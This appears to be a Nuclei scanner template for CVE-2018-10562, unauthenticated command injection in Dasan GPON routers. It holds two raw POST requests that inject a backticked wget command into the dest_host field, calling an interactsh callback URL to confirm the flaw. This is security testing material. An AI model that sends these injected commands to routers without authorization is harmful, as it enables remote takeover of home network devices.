39 lines
1.5 KiB
YAML
39 lines
1.5 KiB
YAML
id: CVE-2018-10562
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info:
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name: Dasan GPON Devices - Remote Code Execution (Unauthenticated)
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author: gy741
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severity: critical
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description: An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
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reference:
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- https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
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- https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
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- https://nvd.nist.gov/vuln/detail/CVE-2018-10562
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
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cvss-score: 9.80
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cve-id: CVE-2018-10562
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cwe-id: CWE-78
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tags: cve,cve2018,dasan,gpon,rce,oast
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requests:
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- raw:
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POST /GponForm/diag_Form?images/ HTTP/1.1
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Host: {{Hostname}}
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XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0
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POST /GponForm/diag_Form?images/ HTTP/1.1
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Host: {{Hostname}}
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XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0
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stop-at-first-match: true
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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